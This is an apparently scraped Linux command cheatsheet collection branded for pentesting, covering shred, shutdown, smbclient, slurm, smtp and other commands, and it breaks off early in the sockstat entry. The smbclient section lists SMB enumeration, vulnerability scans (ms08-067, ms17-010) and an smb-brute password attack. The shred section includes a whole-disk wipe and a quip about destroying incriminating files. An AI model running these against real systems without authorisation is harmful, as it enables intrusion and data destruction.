Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sgdisk in a clear format. This allows users to quickly access the needed information for sgdisk without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sgdisk are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
171 - 🖥️short
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the short command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██████╗ ██████╗ ████████╗
# ██╔════╝██║ ██║██╔═══██╗██╔══██╗╚══██╔══╝
# ███████╗███████║██║ ██║██████╔╝ ██║
# ╚════██║██╔══██║██║ ██║██╔══██╗ ██║
# ███████║██║ ██║╚██████╔╝██║ ██║ ██║
# ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
# short (Bash-Snippets) - Unmasks shortended urls.
# Unmask the true url behind a shortened link
short tinyurl.com/jhkj
# Output:
# http://possiblemaliciouswebsiteornot.com
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command short in a clear format. This allows users to quickly access the needed information for short without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for short are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
172 - 🖥️shred
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the shred command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗██████╗ ███████╗██████╗
# ██╔════╝██║ ██║██╔══██╗██╔════╝██╔══██╗
# ███████╗███████║██████╔╝█████╗ ██║ ██║
# ╚════██║██╔══██║██╔══██╗██╔══╝ ██║ ██║
# ███████║██║ ██║██║ ██║███████╗██████╔╝
# ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═════╝
# To shred a file (5 passes) and verbose output:
shred -n 5 -v file.txt
# To shred a file (5 passes) and a final overwrite of zeroes:
shred -n 5 -vz file.txt
# To do the above, and then truncate and rm the file:
shred -n 5 -vzu file.txt
# To shred a partition:
shred -n 5 -vz /dev/sda
# Remember that shred may not behave as expected on journaled file systems if file data is being journaled.
shred -uz ⁂.jpg
# The new triple asterisk (asterism) Unicode character can be used when you want to match only incriminating files.
#==============================##==============================#
# CMD SHRED #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command shred in a clear format. This allows users to quickly access the needed information for shred without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for shred are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
173 - 🖥️shutdown
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the shutdown command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗██╗ ██╗████████╗██████╗ ██████╗ ██╗ ██╗███╗ ██╗
# ██╔════╝██║ ██║██║ ██║╚══██╔══╝██╔══██╗██╔═══██╗██║ ██║████╗ ██║
# ███████╗███████║██║ ██║ ██║ ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║
# ╚════██║██╔══██║██║ ██║ ██║ ██║ ██║██║ ██║██║███╗██║██║╚██╗██║
# ███████║██║ ██║╚██████╔╝ ██║ ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║
# ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝
# Reboot the system immediately
shutdown -r now
# Shut system down immediately
shutdown -h now
# Reboot system after 5 minutes
shutdown -r +5
# Stop the auto playing sound that you're hearing, wherever it's coming from. This will also exit your editor.
shutdown -h 0
#==============================##==============================#
# CMD SHUTDOWN #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command shutdown in a clear format. This allows users to quickly access the needed information for shutdown without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for shutdown are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
174 - 🖥️siteciphers
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the siteciphers command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗████████╗███████╗ ██████╗██╗██████╗ ██╗ ██╗███████╗██████╗ ███████╗
# ██╔════╝██║╚══██╔══╝██╔════╝██╔════╝██║██╔══██╗██║ ██║██╔════╝██╔══██╗██╔════╝
# ███████╗██║ ██║ █████╗ ██║ ██║██████╔╝███████║█████╗ ██████╔╝███████╗
# ╚════██║██║ ██║ ██╔══╝ ██║ ██║██╔═══╝ ██╔══██║██╔══╝ ██╔══██╗╚════██║
# ███████║██║ ██║ ███████╗╚██████╗██║██║ ██║ ██║███████╗██║ ██║███████║
# ╚══════╝╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝
# siteciphers (Bash-Snippets)
# Checks the available ciphers for the SSL of an https site.
# Determine the available SSL ciphers for an https website
siteciphers github.com
# Determine the ciphers setting the delay between requests (default is 1 sec)
siteciphers -d 0.75 travis-ci.org
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command siteciphers in a clear format. This allows users to quickly access the needed information for siteciphers without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for siteciphers are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
175 - 🖥️size
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the size command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗███████╗███████╗
# ██╔════╝██║╚══███╔╝██╔════╝
# ███████╗██║ ███╔╝ █████╗
# ╚════██║██║ ███╔╝ ██╔══╝
# ███████║██║███████╗███████╗
# ╚══════╝╚═╝╚══════╝╚══════╝
# The size command lists the section sizes as well as the total size for an object or archive file.
size test
text data bss dec hex filename
1204 280 4 1488 5d0 test
#==============================##==============================#
# CMD SIZE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command size in a clear format. This allows users to quickly access the needed information for size without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for size are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
176 - 🖥️skipcpio
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the skipcpio command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗██╗██████╗ ██████╗██████╗ ██╗ ██████╗
# ██╔════╝██║ ██╔╝██║██╔══██╗██╔════╝██╔══██╗██║██╔═══██╗
# ███████╗█████╔╝ ██║██████╔╝██║ ██████╔╝██║██║ ██║
# ╚════██║██╔═██╗ ██║██╔═══╝ ██║ ██╔═══╝ ██║██║ ██║
# ███████║██║ ██╗██║██║ ╚██████╗██║ ██║╚██████╔╝
# ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝
# extract initrd/initramfs in current directory
/usr/lib/dracut/skipcpio /boot/initramfs-$(uname -r).img | zcat | cpio -ivd
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command skipcpio in a clear format. This allows users to quickly access the needed information for skipcpio without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for skipcpio are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
177 - 🖥️slsc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the slsc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ███████╗ ██████╗
# ██╔════╝██║ ██╔════╝██╔════╝
# ███████╗██║ ███████╗██║
# ╚════██║██║ ╚════██║██║
# ███████║███████╗███████║╚██████╗
# ╚══════╝╚══════╝╚══════╝ ╚═════╝
# slsc # SpreadSheet for console, written using libslang (legacy)
# to install
# * install libslang-dev first
wget http://jedsoft.org/snapshots/slsc-pre0.3.0-2.tar.gz
tar xf slsc*.tar.gz
cd slsc*/
./configure
make
# Inside slsc:
# / Menu cursor to move, return to select
# OR select by first letter
# ? Help (for further help see section help below)
# First letters of a topic+Enter are enough
# Enter to go back
# CTRL+G mark region ends with CTRL+G
# Start a text/Enter in a field:
# < or > to align a text field to left or right
# = to enter a number or a formula
# TAB to edit the text of a cell
# Backspace (<-) do delete the cell content
# The config file is ~/.slscrc
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command slsc in a clear format. This allows users to quickly access the needed information for slsc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for slsc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
178 - 🖥️slurm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the slurm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██╗██████╗ ███╗ ███╗
# ██╔════╝██║ ██║ ██║██╔══██╗████╗ ████║
# ███████╗██║ ██║ ██║██████╔╝██╔████╔██║
# ╚════██║██║ ██║ ██║██╔══██╗██║╚██╔╝██║
# ███████║███████╗╚██████╔╝██║ ██║██║ ╚═╝ ██║
# ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
# sbatch squeue scancel scontrol sstat
# Submit a new job:
sbatch job.sh
# List all jobs for a user:
squeue -u user_name
# Cancel a job by id or name:
scancel job_id
scancel --name job_name
# List all information for a job:
scontrol show jobid -dd job_id
# Status info for currently running job:
sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command slurm in a clear format. This allows users to quickly access the needed information for slurm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for slurm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
179 - 🖥️smbclient
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the smbclient command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗███╗ ███╗██████╗ ██████╗██╗ ██╗███████╗███╗ ██╗████████╗
# ██╔════╝████╗ ████║██╔══██╗██╔════╝██║ ██║██╔════╝████╗ ██║╚══██╔══╝
# ███████╗██╔████╔██║██████╔╝██║ ██║ ██║█████╗ ██╔██╗ ██║ ██║
# ╚════██║██║╚██╔╝██║██╔══██╗██║ ██║ ██║██╔══╝ ██║╚██╗██║ ██║
# ███████║██║ ╚═╝ ██║██████╔╝╚██████╗███████╗██║███████╗██║ ╚████║ ██║
# ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═════╝╚══════╝╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝
# To display public shares on the server:
smbclient -L <hostname> -U%
# To connect to a share:
smbclient //<hostname>/<share> -U<username>%<password>
# Copy file to a Windows/Samba share without mounting it -> This commando copies the file (which must reside in the current directory) to //<server>/<share-name>/<subdirectory>/<file> through the CIFS protocol (Samba share or Windows Share). It doesn't require you to mount the filesystem first. --directory "<subdirectory>" may be omitted in order to copy the file the the root of the share. The "%password" part may also be omitted. If doing so, smbclient will ask for the password interactively. To copy a file from a Windows/Samba share, change "put" for "get". smbclient --user=user%password --directory "<subdirectory>" --command "get <file>" //<server>/<share-name> Show Sample Output
smbclient --user=user%password --directory "<subdirectory>" --command "put <file>" //<server>/<share-name>
# List shares on a machine using NULL Session
smbclient -L target-IP
# List shares on a machine using a valid username + password
smbclient -L target-IP -U usernmame%password
# List files on a specific share
smbclient //target-IP/share$ -c 'ls' password -U username
# List files on a specific share folder inside the share
smbclient //target-IP/share$ -c 'cd folder; ls' password -U username
# Download a file from a specific share folder
smbclient //target-IP/share$ -c 'cd folder;get desired_file_name' password -U username
# Copy a file to a specific share folder
smbclient //target-IP/share$ -c 'put /var/www/my_local_file.txt .\target_folder\target_file.txt' password -U username
# Create a folder in a specific share folder
smbclient //target-IP/share$ -c 'mkdir .\target_folder\new_folder' password -U username
# Rename a file in a specific share folder
smbclient //target-IP/share$ -c 'rename current_file.txt new_file.txt' password -U username
# nmap - Enum Users
nmap -p 445 --script smb-enum-users target-IP --script-args smbuser=username,smbpass=password
# nmap - Enum Groups
nmap -p 445 --script smb-enum-groups target-IP --script-args smbuser=username,smbpass=password
# nmap - Enum Shares
nmap -p 445 --script smb-enum-shares target-IP --script-args smbuser=username,smbpass=password
# nmap - OS Discovery
nmap -p 445 --script smb-os-discovery target-IP
# nmap - SMB Vulnerabilities on Windows
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms06-025
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms07-029
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms08-067
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms10-054
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms10-061
nmap -p 445 --script smb-os-discovery target-IP smb-vuln-ms17-010
-- Always check for updated list on https://nmap.org/nsedoc/scripts/
# map - Brute Force Accounts (be aware of account lockout!)
nmap p 445 --script smb-brute script-args userdb=user-list.txt,passdb=pass-list.txt target-IP
#==============================##==============================#
# CMD SMBCLIENT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command smbclient in a clear format. This allows users to quickly access the needed information for smbclient without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for smbclient are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
180 - 🖥️smtp
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the smtp command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗███╗ ███╗████████╗██████╗
# ██╔════╝████╗ ████║╚══██╔══╝██╔══██╗
# ███████╗██╔████╔██║ ██║ ██████╔╝
# ╚════██║██║╚██╔╝██║ ██║ ██╔═══╝
# ███████║██║ ╚═╝ ██║ ██║ ██║
# ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝
SMTP Commands
The SMTP protocol, like so many other protocols, has its own subset of commands. Here are a few of the most important SMTP commands.
HELO - This is the command that the client sends to the server to initiate a conversation. Generally, the IP address or domain name must accompany this command, such as HELO 192.168.101 or HELO client.microsoft.com.
EHLO - This command is the same as HELO, but communicates to the server that the client wants to use Extended SMTP. If the server does not offer ESMTP, it will still recognize this command and reply appropriately.
STARTTLS - Normally, SMTP servers communicate in plaintext. To improve security, the connection between SMTP servers can be encrypted by TLS (Transport Layer Security). This command starts the TLS session.
RCPT - Specifies the email address of the recipient.
DATA - Starts the transfer of the message contents.
RSET - Used to abort the current email transaction.
MAIL - Specifies the email address of the sender.
QUIT - Closes the connection.
HELP - Asks for the help screen.
AUTH - Used to authenticate the client to the server.
VRFY - Asks the server to verify is the email users mailbox exists.
#==============================##==============================#
# CMD SMTP #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command smtp in a clear format. This allows users to quickly access the needed information for smtp without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for smtp are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
181 - 🖥️sockstat
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sockstat command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗ ██████╗██╗ ██╗███████╗████████╗ █████╗ ████████╗
# ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝
# ███████╗██║ ██║██║ █████╔╝ ███████╗ ██║ ███████║ ██║
